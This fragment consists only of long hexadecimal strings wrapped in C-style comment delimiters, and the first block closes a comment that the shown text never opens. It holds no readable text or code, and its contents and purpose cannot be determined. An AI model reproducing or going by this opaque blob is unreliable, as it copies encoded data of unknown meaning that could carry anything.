1c38038e3adc559fad5d7f81692e347c99ccfe6246642c965662a287de7370edf319d34f7c1d685e4236733c92b137bf67dcc2c76edf352b6c18dfaccdb7a0b91f645d0844df200d49ae6a77b76e0c5b867bb12895e05b5556aa9c0ff83b2bdfc596931d0d1066472eccbb27039b7c4ee81e397ab52d758bfd8966d7153282803fd03e5d6d2e0f7f7851082b48066fe99cd3d5633adb17e03b6e76c9b7c4e49ff8f8b72daeb0bdf95ceea6720194fd48d099654025af9a83977c37c0ed9b8074e9cd5f9c44144265f7a988140ef43289b3c574fad1c63ea556535a9bc4b734a6e4bb22f506abb12930df32e64c2e6babafdb8e345324966fddf298716eb4b006fc0a702ce44454d74da749f13790e2b10f891218f3213b54337e288f9d91c151f817193afe3993aa0dc9209d8a74ea16ac55199e358b57d70b46ab255f16cadca21d13d21ebe80fa1803cad26379bb34af98c3366a5358500abbb326d60c2364105ce845e9980f969bee7041d5b5f544254846184bdd9a70c153caa41d4c29072a5cff0fa363413a31cef7a4e26c7f6933b70f1d71f1af3a0dcd3bcc626070004fb6e8c42656b86f58489742ba5625f57f1a8d839e31548c6be3e94a536912fe70f8a00d36ec8b4b0e8d20802e187c05da73a7be371e4f05232bd27e1c3e2bef79de3f26bcb2176ade90794cbc795f776bb1dc393596563d0740c7b7dc2ff9fce3897803e852834cbd077773a5a986292840c99815b610085aa912310c7c19a77af25e8feee0710e9656ce3243bc0a8f47186c0074490091603da56e06d4dff59c4bb39940b0073b26d79ecc28f07829c4db5ef633da8c69efb69466056dfd81eac9b1c37bbcac91885aaeee11621cd5a9b1f9bc867962a2bb4faf9195242e03b049540df598ae2fc14cf8f04e65ef46c207ef5041f00eeb65a33862afc5cd9b4f3a6701483720c8ce8b8515fe380f359cb082179abc8f7617ef0591204a0c66f2f90d267691b929a206fedab7e6f87eb5d9c80df518d34157eb9a4daebc6600aeaa0f628d7ad5829fc4e28f13cc12817dec2a21e68fa8609c48efbc29b2c4750a7e0ba07e52b040e7889c748fc913f80fb16a18676044b322d1388d6c68a249a54ba1f71509fda5c1a12986fe377b70d76eaf31527063b02b6c57fab9c6565cf0664d844c638cd16a3d3b4c0173687f54a342cbec6c01e448aeac18db2cf63b892b05c6b81bf77b452d929fa16c65eaf2a8f8393ffe90bed895ed98e8e3b4a32abf5b7e455865253ee5f43e3a7fd57ac68737fdb9e17286045f5cc6d5001f219607b764d97c60bae90a*/
/*d559baa9771243739e7067c21fd7c89546042299e23febebd789c6a3dd3da13eaf78001b8fcbdfe48fa30935e200cc1d90943b1f39196545e054e919fd36f35a65fba7dcc22a88121223bb78da9a2a283ef37aa9943510bec99e5a398eea5e08295c592bc55848feacfb36ba3e46b82686d6e48ef8036249f4619a5b590d6b624c9eeb71a029ad80d8e5026d838618ebad517517e3e0ba04840196247c4d40249c2222bf8acbbe790b4a96edc358be15eb347fdea037952183f6f683509ae0a95eb27a024a320426d68fd4cd4408ad3325e9d957e132f94b1d85d245f6b343f1e69faf89759315245a3781cacd0a086b31deefe2c796e10b92e108d043858f514a364931443514ba5e77bb3c0ee5ed2ded8cb3a531e0e8a01e40bf8a6ee6362a64bed38610bdb386a7f65e34a473c2c37200c703bc45a865c878e88d682d5b811f9198cc131063322183426f3f69bc58c8f50de89521d91987f7b5b493b802ad83b17243280e0f4265c69fc521c531a7324989d4f16a04296abc05a928aa4bc7baf0285e63c955aae2d1828f0be63f6c8dda81fd210905aa67bc3d8af676707944c8e52587e2c6bc6550f369b16ed4ebf2c7bbb607c1ee1e3a9150f491a6024ba6539d0e059cf976ea118deceb83a1f0c5181b249f3fd9963b6b4a9018bb6cca1a35b94893d06f18312eb13dcc10611cdf7d79bc36dce79772db2e2a7f8ce42e6b467f2b11087cc8688ce8fb892230392ecce74e758568497636826fc2a625b3fc34faa650a7c1a0963d97e4747ecf19cb568f05ff4338728e07bda16d05206ea960e81878f24a963bf2495160528fb855bf827e474199562b322cc6c9f2dc40cec12f4c50597e6d90f44dcd378090ef6b81305bd8a906d7cd16d344f063c06ef5fde1e4c6bb51b5711fec2b971cd69a8358074951a384950d770c86a82c5173d487288df5177c1295644663dafc646bed78d6d64f268b926e4419753052d2319bacfa14d80f1aa57e827cb0aad9cefaec129f581de015cd44e5fba92c1448d9f34b8bf0a78152fada32101dbdea61c6ddbb24b76458203ee17a5656f5ac38ae71178d9791482ad0c9f736aba02759003c98d87d024fecda871fcc3109df099ffc83ea1555fc2576f2266eee5aa860f470b6cee081fdfba1c5c3b62af45b0ee0ba30e59742e966fca01053e1d991d07927653ba70c141a6fbff2dd5c6e2cf66238775cafdc84acc713390de51f0ed4a8f471c3c1de5f88d57c726b321e5c62982dea3487499c7021b1500c70b4368563184f29f5972c8d608cfe36c886c89727e5f1dceb7465b37e9e598a6f41e2bc033bf8303a1cc87a950a5cc973a71948f6e8d0a9b29925ea0f67099c283328d78ca462a6ba00a6b3606403278663ac6de7292133980f5daf0c63939bad47a0a8a8f6dedaf791977bda08b92b1835c64fc2c87d43982820abce88b52d21f3c5426e6909a39d31e0b32bff0846e141c109971ab2b5115411b55a7c8934000f103716219e07ff86330c873ecd883a4693fce889a2ce551fb2ae714d1a148b7c83cb49b089ce8ca88072c710f43cd2c71532007f45bc8fdd9c6fe868d0d30184ef08e83b394f3fd2d0ab19c38d9e6e0dffb8e778c98eb4906e45abe7263186f19a1103bc79ea4d5f4d4f5a1f0c93852bc900eca50cf88f24189f1be4817a2573b61106d2bcec8c3ffbb44bf6bdbd2fac54ab6380dfbd13d5d16ac3d816340aceba1ed5482b6b90e52c465e6b6b6ad01052886099e471295c5c63167b6a164beae5106c300410ae8280a08454f79d765897a85c6aa96679a8edbc882c077c42aa925fa6392b43153fa28d71daf5ad7112a35cdb216ebe14e35ceca0989f224e2fc274110207d2de4f5ff03d8935483a1cf26c2fe6d159f06141a7f09b424f1093515e3c3c9388984b1b4f7eae9e048595053c5b5c717915131193d948fb64a4c745eaaa08ab05e2760c56431e319b589b39e52d71ae5c74143bf194d0f42cd38dd2067fc1c998d1cd40a7f65f436485b64c53da7a0babd13f6f55a863649e60d3a52ecfffd0e45ac468c0644cdc3c8c7ae54330da111327b1f2fbe2e1826534014e9dddaab21102c48b81df7906359152bd505858ad7fdc71f1d2a05026f9d44330353871239a4529c68a37ff97bc4bd0907da054c3fe8c2ed974adabbb6b3ff602b43da16946736337ce5c48c245fe2c89924de7f10e2d135b45994ed914682743e0e70012a9fd7c8146e69ccad54c45820fbe7c6182dea2a77b4c81cc749ed9b1306f055f78205d1314504916bbb1ef8363ec716f318679d26001b5bac0a596574c7c1b90bca0f0c703d81d22962c3e8d1b3e1b9aa705136a570ef2cdfef265227205da5aaf5e6cb71956d756fc0aa5f66fe4c3be11ed815d082bc45d02da1fb8d0d6b433c84df0354d018f16aace5a33a93299434065503ea3ab9e175897e0d540db87cf27967c7914ba50ceb5faff16353485a4260c700f0df542c51d4ad3c44193a0ec4d10d1a5d0cf779d23f2d65d1fed53efa8a688ec37a28f92d3d5937a2b052e1a7e5c738b4b36e2b861ad2bda5a3e33c47261d9704bd2a3d636fc67778a07c6595ef896a2423c8a85f517260b19ab154a11ba66ce8b79fc7faf3e32e1fa6ddca66838bb642be41afeb7bb9e0af27fdb0ceb89177f25d3646b65f28519f7d05b8897cae2fbde5c944218b2bc249adb04dbacfd75c4352d1570561127de881e02bb0f1ee03ba153b59e770299f07265367b8fc6345644ddd8933e06df8af8dde22d8aca323feab7d5fb0ee36eca9375995e719eef8e8bc587bb052b43420719*/
/*80c3f2ddcbd496dbde1460070b7a931ea23c3299218e9ed4404543268553abd6edcdd5eb26a997605360413168d876d7f01fb2dc43b519de6a16f6694f989ecf183470494ad1cdcc8a7fc695fbb07c6db99d413e71e677d5d0e67a74c1ec770548f1f21c26b52fc3726a85168b21e5a0f34309416a5a3b29ef66f824a2c30f7124f9491ef8b2be32dab8fa08f24f01c2294dedd83c898bd04bf1b35fb6962e8a3a9267fa2ae782af2925d526d47cec446266933fd5c6194ae7746a2ce62da496621f8e05d6ac5eb63680a79d188c5e0baf9d213abe7731d8c0f1837bcbbeeeed142a1e42e53b73ccb8333502a11c7705873d348c354fee9cdfffb8c77de2171e63f0e1e903ff006da7ddee3a6c7a9d87fe83369cd617334df2e5a25ba42a5ae46faa804d8a4912adddfeeb2d924419e4a3a6f4584bd431595a7d64cc63539f9d061e7a4e42c42db0f70ff427c531daec1f0f94d350d074b6b2533d34cfe6a4769308dfd4d01452e4b02b0c753f94436cc75da7fd6db6a73a58ba87219fd9e7cc42ecc55e676420b8856c2163f19384227784ddf76c5fc893a14a8f91bbb87f650fc5f3204adf07e6527e581133c6be72d85aa0364bc0e3c649caa4f2b84eed9c7dda4ae2694d6be9fbec28282a0b7d46bcf594eeac7c57d39efa45d071f24a710c10515584141dace3133828efb479935cf7bc5fe007277642ee78795493e6afc5fe64367041ead0cab313c245cc1c1da7cbda7f815a5fa9c791e2f5e9a4ed2b6b4c08c5298c2ccdb68ece88c3764b6ffa9244cfe3da27528df5c5e4957877c3b65b27b2cf0da53435b24881fdc3445d974dcd83795b08d891c0d7e59b25e9b9699e2c32653a51a222eccafb6d80492c663348dd5e606b72336374678fee74f2679ccceadbab5f849671433d1abef705e00ff7aede348187fb275d8ca2f0a98a021527cd6974ac7fce3b5952f9d0793a8aab7d05ecf89538a02d437a614849d45c9629772598d859d1edec318631c2ce60591d83929d8bf3bf9c4995cbd1328209523b9037509b25d7eb7440ee4a5681c2804ee552f3ec87471e5c72b1bf4d695690cd09648103d1f9699ba2f36d21c599a53dd3e2c49117d200e2121e53752c2828d81d4bc4e5f63395e48351fb87a7c6b250ef0e45c8cb4b9c2897724c5cc359510a1efc46f2d8f6a2dc87d1a8df9325983cd8edd31b83e850dcd2b1688d7557cb06ddc354dad8bcd618310a1e47b67fde2987b33d60e2d9df2aafeb7f5e1cf2085aa7f20189ce86dd4c4050c6e2a8b91c5c4f39a5ad0f2e95262a161315a532c4c0aa2c4c1558d11b7fc97c2d249657ab50ae880ea593321dfed89302e4ca3695c3b49dab5d347c3112f3fa97b19cce9132cbbc92bbe574925a04ff90b71d5dff8d46b37f9eb5882b3301fb477fa35d07403250fd94935d32bf0f3f67936363d604260982de5bd70cf064da27ca3c09e9c336cc75a292879e28770b3bf0bd0162b02ec3eea36bd873b7f0c5175e11b0ac7f25096b26b114a2e1887070a27b697e8c5a935e1f7d15ec8f997134205b445c062cb1e31cb71e621bdcc643a5a462e00c1fbaf508871aefdf8a83014d9ad2652325b3e5f213cea09382aa2cb2c86e69eb261671ec19612ad10eefee639d17cb54fda6fba47d61025b26a2703d4fb7508f814a8756af9b442bebcf42546da400dccae36a79f87706bd4364968ae7db8ab09069941f38704df04fdd01828d884d422c30254202ff602c124dc39de90542ef771b284a0b864a1a0ed243d7268941e6238d46adcc36a0213109248fb0e33a6d1b98007fe3a8f4ee3b11b305c0d717fac15236a9c7f0b252245cc79ff21cbfb44f72436c879b31d91e1611521d29167afd14dd54da661ea769bbbc0bab12e883fd36ffc2e5afa6f77f3f71e41d29e354f0bd6f7e1a64ae256f81c38b87c9eabaa5698ae0b1d0e1219c68d0a304f878dbb322ccb8462eea78ee84152c86824aeb745bff06bca0812c1e2691c13f7bc1cae5aabb5a74f1a5086bd461b199be967f220ee31ae4e86dbc72e2c6634fc2a2ef8c65929f052ae9d10943473fc603bf0a676b00400b8adf1f679b047bb50b90a39c975f8482d601c6e7bc5800dccf84b97d3f983e7023fb6c9daf964a60cbb8088863ce23c7f9866c45fdcd608829ad3aa976915c78ca58c463e6e89999a457ddd86bc0711bc7a74648a83a4c5578052e70893562a09925ad9658ccc2ad11a62b428cde83909eb7d473e0329449c1b3a43338f3e9cd92052cddb0fca27d229ae064e97ad6479efdf0524f231f12a2923de1c98cb798396e457fc6221b208486e0861d8e446399750b8b06e87e8250a67ac9a61fc0686044d928251b63d39148e18191584b2fde33ed820c5efcbf06c278ef8d403021276ce4c4820d7e0ee273fc8896e03773d1b67963e702de883aeabadb7d4b210e72ff90e813a1a4d7d200aa679a2cd620259b60849b2a5e625ff05652d612bd34053bae45c24dcf7f49a36002a9549db8a2e75e8e56d2e67f20e749d3e9d042c7c5ebbb9f2f5080cf8581ce1222c57d0c70981e935ec8d21d0c666c482cc890d097b878ff707b7fb07b39f00a0e003c68c950ca7c369d5c83a06678b5841a98679b38b75d0966597156dfee6d0ce2144f4f22320aeb404d38fa2ab1fb179574e0121d8f09fb23507c520fb864c6f82f758a0d66a6de7da78758d4269dba185c56c84f54d6a08685a205f0f423371ef54ef7c80b73fc7e56abb531a7a6faaf69026e86a593b2cd595c0ba7dbe626bfbc6c731ec21581deb061d24e49950875401e13e3f785eafd059b*/
/*78ea8f01b938b848b040c1a5af8ebccd04c58df11a1b5c4661470fca1e89dfa59a22a9b7d9b3333112b1467e687a8b4b8ffd3ac8bf5f4fea5b438ef52b8b0343de4f995d306a99034ccd8e1c570644b7cb4713b5d11e79f8d6f346e5b22413c5c18ff5a448bd55f898971bcb0c6bc7932a43e1b7eecee93669127ac2449ae9f66d51b3e030b76a0920a5f54e2c470962684d98bd33a13d069c198da779d0bc15777ceb8282c5d1d6259fcd6f38c925f61445b1c179e2ac550d160a2b15589413d8882d8d205f20e532a4ed2c2ccb5f839c95b047226af38395ec31d8eef4daacfe689bcd2c8a6f502f37a775adfbbd8488b7d559ad0c167a98a1cc16fc9c58f6d2f5a1a1b89e6e86f72359d819babc30b49de9f55c6de007b03928b95d79f2bcd93f0e53e28dd7fbc6b8bd0176f1d2878e09b8ecb4c9484c045e4564fd884cf1dfa54976ba5ac200b98d7bf2355643be70cee806c9c20eec554c0a3811a13e9456897c9050dfbcb120650f108f96f6d0d711c9a0e651cd0437e725a8ede75c21d25f1bd9bf391249bef3889bf32820685375d3bc5a7d1852935c3956201b119967ec306b7457687409be5bdf0c896658cf55fd787e1cf38030a176056a47c02f852d631ee2c5ad48ecede5eac02d658ac786b4bc78f37c4a9f1b70513210a8ae4e06ecfc7c626b819684dfa561d6d1cb37dbc54a66c2e9e4dac0a9491b08cde56780714ee241d1e9dc9b239a430ac13b390dbf34809435f37f83bd4f31c278732f954a80f0cf5bb1401020f3bdbf0eb05a68138bc6ec9017ddebafe5a9d5df275c0d0b36679c1357bc1d19a7a54abc7b5897fc45f1ecab30b02837f3d8f7503196fa3ff1f10946e2dfbb8d8b9cd0814c1132f71ce456f63687d407ebc253f904e5c051ec991467ea7ee18898428137d17652717d0c3a42862ccc8d71d615ae5c92120458eb5f0834da83388a1d7bca890f51ce2e3522cb8c1f6163133996a439ccfb8d191ddc5351013d6f364d4e49533ea76807cbcf0e2dccad93f911151fa408b49ee5ac6e8bcbe1bee27cccf7582a68c3119095b5b2633a2d3fceb3175663264f5654873013c6257c18d93c0e31ad16ae63fba5a03a6912b48808f23ef7f6e43c31718039a2698a699b65d6b9f2fca29f98bf23e0fa09d245a5fe3263ed5e682e42df45068025f89d13dd38a69e0e98ca23d5010603094efd3777a7c755eeb05ddba2cc035bb7de40ddce91980b23610c4eb0cc57c11cd3ed916c37f604babd235ccaa0d2a4bc22856469ff5c83d10666a53eff7b7ebf00eec2e388a6a77caffe44921687650b50257943746b2d63f7c6646c558f9801f129aecbd67c84a453c76d00afc350e1f59b9112c1bed787a40e3f3928d7bb5110a63ebd29d44de1eea91d0e3affd2161eb75e8c49f70fe3fbacfdcb1f710a5a499f37a4d01729dae6e162fc5712bde1c4fd5d48f159e339cdc28f46fc8b243cfb546b65e0f40a36c2fedf97a0e14f676eb130e511cf5a33a87d302d06a7aeac79e6f075c2ca67c9a410b11300cd44dbff01bf7d7576d89f6b21a4ba4515e64315e4bcbf710fb898d2b8301be973859e9e115dc0d4a48ef8d0099c1c9becb3c784b59a9b11d207d65ea542d138d24e69123e45bf0f7e29d1fc334bcb4a61c8ef8b80ea83afa34b498dc682ade20a33649876080a454f5ee43050cb28ee743f12fa19f9ff371470d321735da091f7b0c56b2d0af770adfcfa6aceb0aacbde0ffafff5e8dbd9ba96a1ba992d0b1eaf9ba2ab61d43662b69968aa2628bb42ba2fa6721b92c3b7fe1d0299b579abe862a7eaf9734ab2521b1f2842095446b4da639f4e76431828084e2fdd8f039b56ca623315228f3277a11d52d0b54e4bb6f36845a0c531a270d61c471defe8461071b536c7f6d0a22761cb1db79e76e008ec22d85d4959ea9fa339b07e4fbf39799548713327602ba41e16f0e19bb35fdfe830da0717a19064fdfc99fa73660a9a26c2fdab3b9a50809a1ca7292d08f6f4b4e5795ade038ffc190729957d1c51d98607a9c9fc9c86414c9366d81db116df5a18cbcb6fdfa2b9fbc2323fbbcdb860872ab7c0512ea9b33e7ca4dde886ed17dda7e775fce78d3d81931184df71fd98293e2f66728a2a6dc8b756beed2f7b13ece8d32d803fc59a0286c06d23e3a210ecaa20aba0c5166d42777ab12713fcc0bf9066c5893bf48398a3fffc7a8acf522a9cbaab454ae6d80b3d7114cc57d821068f5cc36a6db622207b4daafeeb187441980f666643e6b35c054f19327241ca608beddd5288a68cb40c48fbd21273d6e114bdb13c19cc777b4fa0e07b6ccfb9bfee336a2c6778a1c630ceb9534d9451a0e5989295bd918264a22db03e4beb9f42d35b8e6d3094da49003ac6584c3c8c9178e1c2a52f144664975c0b762ce834727d88f798b3673765f5ed98f81f9ae9cc54fa1e122354d30b558f78aa3e6073bf5365425ebffd846988d065b0d37b805021f17907c65ddc70ba124520fcd8295d7c56a6592f2c9e0612b8be7cfdf8ffa3e69c4867f764ecc1858843d19cf88e8b05bc9f02d5796f93d0390e72140093274af3f6353e3efae31ab372e882078158f861be1c2567fcda7d5c29df01fd672e4467b14d95fa12435aa83658aa209e6f926265cdeb5356195b6ca2a0045a029ef107a06a5da835936e6eab05b3405aac30f2abc8b29d451cd20e1c77d6073abdc9b939efd6ff9676e56c7df5ed59a93a22acfead67deb3ce2e895f2f5c81a4a791326b635847388c0d7a6142543da138134b0fb90b02c1b7d7ca8a832a792cb6a25820fd5a01c1b04071*/
/*83cb6bac231df4d8f492a629a1c80dbfbd5196b4755e0713531faf883e9e85b60850f00292467b2421b62ed4f5a64ef1904be64970eefb15a9a724cf8c0c8ea9a3e4dadeafb05b899039d86e1af6317fd0324d6a7ec1c0e1ac37f4b61bdb3de4fc1d28a6b9314f8bc91b481e50e05e3d27248e3e08cb1726e2ff3be0d01c97d793bb017b0d424b1bda4334f9f3d575f696b1b4bc444dae199bc5447660325aaa06f4c112e9dda4345b6c308b670ce5ade0f2aa896031c4292b6404e9832e012df67f6c0cc0224e44808bdfa2c94507cdb6d0f677ec68eed7d4af616678eb58762fb90260c4352d27035f5669c139539bbbab738377fb5a819c2b929ec5e154d99357f53cec9ce2dbeb89d97cbdd3c2f032fba742f5d762ab16ed6989980711180cbff0a893ffe4525601d1d7b68cecf8a1450b3cfdb2398a646abe7308d0c7633905c24dde51648e6c1153d6a015c50f920690a7e7daed1084f850621fc0e56e5529799ec4cf676a2753cbf8eaf52715b801f5f65ec541d474dc51b49a6b6997e9adfccb24dd7e490d1928bd2d97d37119d7621aaebf97cd35913f3d4c905295d92f00395a6f181a760c047f4a78e414af079d645482e2e0a9ae559e19a76d06820ac787b5e81806bfbe2621839b3258047bc36df6d25f9daf86716366c915eabb83cffac10b00dc6fce39b315b80e638bf2a7f208925dfeab4afa54a966262cebe530701de5acba16c99b8acbf04864645fbf60e58fd2900e242d7e53d8ab74244643a25df2d3fdb2de8bf3821a3f786ec502a4d2bfdc463b87bae7356efa165c540fbd20dfef59e060a1449827438007b2e0a674c5d418742e4d35e328907b36f0478326777fb05f18fac114042ad33bd92e13a94137ce3e11355d5be0b73e8d82fedd157ddc56f555a4370e0cb2867b5b2c6a9cc5c7518b1e745ba47969af560cf4fd995bbe132ef9af8478ce896611ef184e8f64e6bc7c9b7812ad54d0701e6889125aadf0aae24dba67cad816b531ee78a2d9e52f4f97e8812b5a61299a8efbbe3981307d5692475fed7ebd061d5f5163d9db0f71ed665fe7329562b877b1842c2261e5d0f530d90cb4d7c4e6e9da85b754dae383755f7a42ba3f16e1998207fa4ee3d51e6bc9ac4972794208bab9d07bb50e8612b83a6d7ecbecf82219f8127a6752e658f54e9949c5af07b084ed1fe1eefef7ba910a049b25f8c91eb44aa34ee221da7e75f791dcae319801a7221c35d36b907bbaa1d9370bc21c91d0dff23f6dd648cc7e828fd3bd51e9ec385c3889a68d0ad13d452c9d05f0045f5aaead43ef3bfce2f91ed5c670154a8e055d9df4a4e89475f82d77365fc2ec1cea82418fe53801f890b02bc76fb7e834670972700e0e9afd5514394629b14fbf618834d7688a250e81b90dcfdcf8db30bfbe51e954a0cdb17549fe7f042a7436304b7662a2418fadc360972a162baa5860bacd70049fcf1cc803525e38adf7bea17db971bfab81ceb9d2e8ec7667372aa0fd432efc53972b75bcfcdafded4aaa395a468a4b5ceb61750685b7ab1923ff77ef5485ba58d5b1ccf024fd9d45c4aca9ab85f0c6e3f63676af1b8185482607c7a0bceb23aaa0869a80a2c068e7bc2299d9756a1c27b827f276eb1a140b86763ad6c3aac0bd86b759fc4d0e5e70046f2c2867dded15ef63aa4e5a23175aed0bd79f864fe4de9bac5a3799c32dc74c659a7ecc1ce517113a4860ac98fe7aa5d41ebc69083f7c67e0f9fcf9835f198d6207f809c4423b625b910af2e464326c84eefef1f87e0ee5d5b6653160eda12426bee516ff2d8e14c75c9719a497d328bf5557167cc39537907a7c49cf0f15f1a470c324aaffd81deb854f4da4be2ee612cab2ee069738b67649d98649b1d4e50469bfc7421ab15eb84cdc1ecd2e3d62dee80079099bf3cd60a8be70b7b5ce4191e2ab75d40ddfd5ee386dc4051299cabe97d88097743a2bb571f31c3a471486bb690dd806c53876fd1c633ecee6c77d0da310f08987860dea5eac7134b6b821873e3fad5850757a89ba5189fb5dfe99ef4fb9f5bc50d4cfb88a8446d59d61874d3289f181ab13487deeaee4835e37766f09a4b61243875f073cc747ecdd0d998a7eb820935df767da79df9f51f45bd5dc0adfb6746c0ddee14ba1e5ec6e8af8e0d3b19e5470c629166aa133bc6a4b1adaadb4d5b279df55e6b2401e2b526ea2c6e0ea9b9c2d5f6d17326edb31cf98c4bdd9f51496af6bae7daba82f3f26470e732524f591a287c67669f89e54abde54f37ec62226da552fe58a7d288757b99a0c11526b46d1de29897f73c55ca6af5f7b124e497d0d1cf1299a5d79f583c05d8335d1728ef939c8257130613f5217ce07e5b45150c4564896d0f1c0c1aedb8691e40a0fa78039f9ed29bde0b32b6265e0c1424afff73791de9dde068b5efd2af79f929b56b21996d8309b28c346f4ae921b2bbbe95ef6761f281a0df299aa79366eb177fbf0c97224afa44c7d72eb24298aaf25005aea4ced04439c75adedfc1c648d8e90f114175c40da82cc52bfd8eaa56c48df728893906f0d03f9c96a9923284dfd697afa378755dc77eca1203960144e151df7a946f013cd6ad568d1f0efaf160bb378dd0561ea5e5859c8febc30a7ca1d875286862ae996ce6f05664af7277a8ec300bf725492e9f5e914dcd338c27ac4bd3e96bcc66839c60794eed77b5d53d1e0a861ce72bf5a6bf2e2127eb7f262d5c356f6fa521acd16eb4308ee11a558d8c1e4132f0f12075cced8a5c8a428dfd6b2109aee2e3ec76f83101a166bbac2be6566f540dfa62f53e1da1ca39290*/
/*6a3239626d3d0385df1fa7d4b3b4b0b8a6b80b9c3dc1a66063001e19bd99f2ca08e6524cd3d19e1504a33375ac09a1e736d42ff61fcfd9b6ea91a66b5aa455accaa453d360060a6d32f76f206cabff6565753e05646ae4ec14e4dfcc4cef7f99c73fcdd9257da12f1497e830c80443488761d8bd57cc08e500061c9d72f08124228ad0516494d38f806bd05d0ccf7829e1246419124a391893bc6b294c6f485c3865fa6a60c4e61a60fa53c25d0ce2bef642ad96a2ff4fa6a6b2b385a8e081fe8ead202949bf218381c77fb81acfb90a9f20baae798d1bd8f9fe8a3328f2d82a00636d60ebd190dc4b80c96983566e44800b85cdbbfdeb7e65efe499d7f2af06080661c51afb902247df7ca5e0ce35a108666119fc30b4f3ca0822f4b754c9345b3f9ee4a698259712cdc9fab854b26f18195f8980945f0e703c3d0d8370785c364aa7932639f998d4559c5c75db3d266db0bbf65c0ba7bb111c8f90754d0b95a7d495a060d039e893b876e44d491f3464bda742a525613340248961f9a36afd3b76a716ee524ad046e2315027dc28591fbb2fb4ba4d2c6252c5daa5e7468f2e431b1708781711e5bc6d3b2bfc9ca78e4395202cfec54788d0cad11cec06e0468e6bb85f640f0fe4428cf212f6ca079b4e9e99063064e8560c59e0c78d8bf53a325e86320933bfd33bf650b8ce3dee3f66948557968a76051dd6d92310f8c2e86677862f2ce4cce87adcd60ebf03f9430463508f128076626efd6798bcc51e9bbdaedec9421dbfdc8118d4c68a2b537fad12d9f9de89e814cd7133ae85c08ccd88c7ed623130196465b2edbcc87bcaacf1bc05d590343a41e7c7f4ac3fcb41a238d83e93ba066c10fdd5f517c6d7ba557f158fc7401ac2e5d0f831e020adb8643f3785b6d4b0eebc285d0c40524fb719acaa03589f932b29c69cece334d4b14ea78b0ba6abee22afe520a517a8a0c8adff4dd64b162a5872cc4bfb0071dade76351744580105e954939e633f83a648e26dd3776fa2caf91c95523d1d947bbd7c569eb2293b813ba92880ca785781610e4d8294764a28d12586cf1a94a4eace4cf9f5cc03edd527d47182306e7fbfc9186379dbd6cc838c46746f076eeb33aca607f0a268b933b0bacc64bfd0e5c16a5b7eeb554b1e1a675119b318349cfda85ff3c9461e4dd3d741d00af46c2bd2ca3e429c2992fae509b4f72f76c5aa1af7d558b9664f1da4ceb83730f7ebb5a42e1335beafe1a1994b79b7faf21ebe51f5fe7b40be7833940f1c3fbd65ced5cd25f8311d8efbbede072a874d7da70a04130f9f99c91d1777c918fc525ce31ed1e7b41950bff5d59164e116e8935fe107d9951d24d43e72e10db2d4b1b7a3db5f0795c4509da72ef8aa8ef9fbc234280efb9e2de2e1cca2acf83aa96d88923ce6a983a096196f13ad2fc95aad77cc21404e970ce731eb626fab3340c8450d93ca01247229b28f983c139554f6084812571810c4e40bbd120f7b908e682ed1924c810e0cb2b0bfb8aea04205cf009ba8fcd41964e47e915afced55987ac75172e2d1a4f58f71138c0d11d1741c90f6150f852d59d10e4f055d631f6ff9f5a6eefe68136a8ba63f0b8f065e139f98d696aed367d57a201b5318fb620d4ed0ed968ad841024ff3af28e40ba23d51f2892ac56fa5aa8e9efc06eb0e096d975fdae21a9a974a714482a05a14fcfe42dc21f3a40d39f7e2cf20ba5a26c75dd30304eb4f5c753782a6dcf591968e994340af8cc18cd72fe36a0226f9882efd152983e82eba54003487fef9eeb9c3bae2964a6b22feedcb20bb5ba5a7e8e2844d91de670fd1252ba11775b040018daaa72f003b774e8c3a70c09997d6d6beef05d2388ccf940567e5cd0f105055ec66c7c70f07484f6b26f431761822c31486702bbb11699b2886e12c6a83c4f34c74889bb09c4f6bc8efd280388d8be7213a2360b343b3594932562ec95b222a5160eb3432b07343a755fee3676d7a09e407869cbf82fe00a453da1e279ecc3604a9d0cec352ec0d73080eda3b85f06cb66a4fa565dd1e7b6eef8a4a364e30b31db8bb2dae1fd2de132fe222a6d430bea9dd57dd5b1255b315687e4509be025582902e07be4f80d3479acb2ee6d583bb760173065fdc52fc9718147b1e15f561be27c16e5e58f296aaeed65c23992870dfb137dda7a4424215d91eb236ecc6bf9d1e24c9898eb40b2c9db36b4264acbc407aeb410f3bf8b0cd3f3ac95bc2d0e2b4f4bc43a68117f47aa4a5491e5971fe73bfceb07f247845845de46a409111614034fcf27f73b726cd8cc39685f0d12fda07968b27be1cd30b4c2f0d74dcb7742ea0b62db38b902ac14e9788ccd49e2fe1fcdfe6e609eab521d0666ecbaf2f55c8db1292fe070ed2ed4795955425407dfc1453b888c1f558ec566157f6ac394bed007beaa437cc68ec7b893daaa77ca392281cdd79b6c7655aa1135aef76670cc640f183ee596c79b048ab3d6df24d7823dc1285ea369adfc82740494e7eb564dad25a741d9a888500be338248c2ea19456ad9bdf7dddc941c2a26469f6dd7b09bcaf1aa493a8aef282ba190ebe14c653c4900cce8e218d0832248deb189bd3faa41d4fb71234a18be07b6da35c5ac02675d4a73b6fd8ac04ce992219bb5eeee2592504c2d9016b908e58630f638345d6702a296946bdb3485afbe672459de2485db31bdedee71ef80cf03889812918490a0af096887421132848cebe3cd9c65827a2478ce59b8c4ad5a35570d969fb12713c168cf60559e7fa845be0766851045c1db860b4939c9c7edf6b00651b14e55d7d8544c2ad69d7d*/
/*51588829fe0885d4374c48bdf30f6452c43fa423108b807c786dfb9444ca6b10df5b95e86c0724fb9e4bb6810da1d8a84bdd27c8e3bb12649203b13381f29efea96ed04f807f932fce1e82f15860e56dbbada239cbb5bea62cd76d4b1551d567a5e2ac33440bad8e48dfd919ffe8817a12ba6acfc5b7c33b159d6b5b378276f69b915b712e306239750126e2573d0325ff746725a610b89cad4aa6c98face2561189a3403855a819202a6410fa03804a8ea18b0fe1d4360c798c6ee7db0d5bd1e9e3f73493a0c851d2c7db2a708699168d3084ea708bb90ed11b121333dd836f6100552fa1505d4093fb4e1c8e2155ecb1e48089e2197a2042a0723bc493c6dff00ca3dee097ad20cb0fee504eb91bf4083544d243f5bb0af7928e8559d472aff515c63400d5d3c5c7db1a3a62286303e9b722679749c9d5161f89daea935da503b256731ed6e5691c00346d5dae9f5b4ef00756aec70f30a5d9dd4178705d49d3b2bb7f11c22bcba96410d65138c6cd29a9ec1bda57a7ed0fa92603658726d0ce797fafad3c176aa4bd3d61b72241ffa62ebded4c0ba7eccb2e1604539b50770f428fc35e9bc69522ac9405bdcc12e90d7bae7fbfafcf42477885e230803767be67bfad2880b187afd50b331392b69ab1c365206ec0a556456c6995a458a1173659e58e0e2fa0faa31546544b372e1660b2b84827c43d5b56937332709ce2746707a21409df9b71074cd93f980b94190a1c422ee37d421f2b0581605e146b449da7f336c52c0d70655383664dd1d338f068c71a0baa0a81fa8eb